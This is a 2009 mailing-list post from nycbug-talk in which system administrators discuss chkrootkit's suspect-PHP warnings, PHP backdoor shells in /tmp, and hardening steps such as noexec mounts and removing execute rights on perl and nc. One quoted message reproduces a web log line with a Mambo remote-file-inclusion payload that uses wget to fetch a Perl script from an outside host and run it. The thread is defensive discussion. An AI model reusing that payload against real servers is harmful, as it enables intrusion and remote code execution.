[nycbug-talk] Searching for suspect PHP files...

Jesse Callaway bonsaime at gmail.com
Tue Mar 3 16:45:41 EST 2009


On Tue, Mar 3, 2009 at 3:51 PM, Andy Kosela <akosela at andykosela.com> wrote:
> Jesse Callaway <bonsaime at gmail.com> wrote:
>
>> On Tue, Mar 3, 2009 at 4:22 AM, Andy Kosela <akosela at andykosela.com> wrote:
>> > Max Gribov <max at neuropunks.org> wrote:
>> >
>> >> Matt Juszczak wrote:
>> >> > Evening all,
>> >> >
>> >> >
>> >> Hi Matt,
>> >>
>> >> > In my latest chkrootkit reports (which I run nightly via periodic), I'm
>> >> > noticing lots and lots of "Suspect PHP Files" (via chkrootkit).  It seems,
>> >> > after checking the code, that its really just searching for PHP files in
>> >> > /tmp, and also searching for some other files throughout the system.
>> >> >
>> >> > I guess the question I have is - what's the point of this check?
>> >> >
>> >>
>> >> /tmp is the default storage for uploaded files (before they get moved to
>> >> their proper destination by some php code), and for php session data..
>> >> All of this is tunable through php.ini.
>> >>
>> >> There are plenty of php-based backdoor scripts which allow to execute
>> >> shell commands, transfer files, look at your db, etc.
>> >> One of such things, and seems to be really popular, is rst shell
>> >> http://www.sophos.com/security/analyses/viruses-and-spyware/trojrstdoora.html
>> >
>> > Yes, /tmp is the favorite directory of all www script kiddies and other
>> > crackers.  Mounting it noexec can help a little bit, but I also disable
>> > world x rights for perl, ssh, nc, sh, c, as, etc., so they won't be able
>>
>> Cool. How do you disable execution on those? I'm guessing the file
>> permissions, but was hoping maybe you have some trick.
>>
>
> I use the simplest method which is chmod(1).  You can also employ for
> that BSD MAC framework.  The issue has been discussed recently on
> freebsd-security@
>
> Of course, those security techniques won't really help you with the more
> sophisticated targeted attacks, but for the most part they help with the
> majority which are non-targeted automated script attacks.
>
> Consider this mambo abuse:
>
> 62.103.159.21 - - [18/Aug/2006:13:58:02 -0300] "GET /index.php?_REQUEST[option]= com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/nokia-yes/tool.gif?&cmd=cd%20/tmp/;wget%20http://www.freewebs.com/nokia-yes/mambo.txt;perl%20mambo.txt;rm%20-rf%20mambo.*? HTTP/1.0" 200 167 "-" "Mozill a/5.0"
>
> Those kind of attacks are real easy to deploy by automated bots that
> scan large number of ip's.  They are non-targeted, but could be deadly
> as well.  Most of them just use perl(1) (run as www user) to launch a
> remote shell and then execute some rootkit.  By disabling execution of
> programs like perl(1) for the world, you definetly can stop those basic
> type of attacks.  Even the simple changing of the default application
> path can help, as most of them use a simple http://host/application/
> scheme.
>
> --Andy
>

Darnit, I don't think I can disable www from running perl on about 1/2
of my servers... hack me please, i'm bored... but I can turn off wget
access for sure. That one is used a lot.

Good tip..thanks.



More information about the talk mailing list